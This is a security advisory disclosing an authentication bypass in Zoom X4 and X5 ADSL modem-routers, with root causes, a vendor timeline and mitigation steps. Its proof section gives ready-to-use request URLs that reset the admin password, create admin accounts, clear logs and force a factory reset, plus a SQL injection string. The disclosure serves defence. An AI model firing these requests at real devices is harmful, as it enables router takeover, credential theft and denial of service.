Vulnerable Products - Zoom X4 ADSL Modem and Router running Nucleus/4.3 UPnP/1.0Virata-EmWeb/R6_2_0 Server All GS Firmware versions Zoom X5 ADSL Modem and Router running Nucleus/4.3 UPnP/1.0Virata-EmWeb/R6_2_0 Server All GS Firmware versions Note: A similar vulnerability was reported several years ago on the Zoom X3 ADSL Modem using a SOAP API call. Many of these vulnerabilities affect X3 in the same manner, without needing to use a SOAP API. =================================== Vulnerability- When UPnP services and WAN http administrative access are enabled, authorization and credential challenges can be bypassed by directly accessing root privileged abilities via a web browser URL. All aspects of the modem/router can be changed, altered and controlled by an attacker, including gaining access to and changing the PPPoe/PPP ISP credentials. ==================================== Timeline with Vendor- Have had no response from Zoom Telephonics since first reporting the problem on June 28. Subsequent emails have been sent with no response. Root Cause Observed- -As in most IGD UPnP routers and modems, where root vulnerabilities are prevalent, these modems contain the same privileged tunnel between either side of the router to be traversed without authentication. The code and layout of the device plays a large role as well. Code/Script Vulnerabilities- -Form tags and actions ids usually hidden are easily seen from the html source, no sanitization of client side input is occurring and root overrides such as 'Zadv=1' can be invoked by any user. -No cookie authentication is done once several of the first bypass is executed, allowing for "Cookie: sessionId=invalid" to pass admin commands. -The SQL injection UNION SELECT 1,2,3,4,5,6,7-- added to the end of any URL page calling a table value, such as /MainPage?id=25, will bring up the system status page, with each interface visible and selectable. Patches or Fixes- At this time, there are no known patches or fixes. Vulnerability proofs and examples- All administrative items can be accessed through these two URLs --Menu Banner http://<IP>/hag/pages/toc.htm -Advanced Options Menu http://<IP>/hag/pages/toolbox.htm Example commands that can be executed remotely through a web browser URL, or a modified HTTP GET/POST requests- -Change Password for admin Account On Firmware 2.5 or lower http://<IP>/hag/emweb/PopOutUserModify.htm/FormOne&user=admin&ex_param1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes On Firmware 3.0- http://<IP>/hag/emweb/PopOutUserModify.htm?id=40&user=admin&Zadv=1&ex_param1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes -Clear Logs http://<IP>/Action?id=76&cmdClear+Log=Clear+Log -Remote Reboot to Default Factory Settings- Warning - For all intents and purposes, this action will almost always result in a long term Denial of Service attack. http://<IP>/Action?reboot_loc=1&id=5&cmdReboot=Reboot -Create New Admin or Intermediate Account- On Firmware 2.5 or lower http://<IP>/hag/emweb/PopOutUserAdd.htm?id=70&user_id="newintermediateaccount"&priv=v2&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes On Firmware 3.0- http://<IP>/hag/emweb/PopOutUserAdd.htm?id=70&Zadv=1&ex_param1=adminuser_id="newadminaccount"&priv=v1&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes Mitigation and Workarounds- Adv.Options --> UPnP --> --> Disable UPnP --> Write Settings to Flash --> Reboot Adv.Options --> Firewall Configuration --> Enable 'Attack Protection' 'DOS Proctection''Black List'--> Write Settings to Flash Adv.Options --> Management Control --> Disable WAN Management from all fields --> Write Settings to Flash Always change the default Username and Password, though this will nothelp mitigate this vulnerability
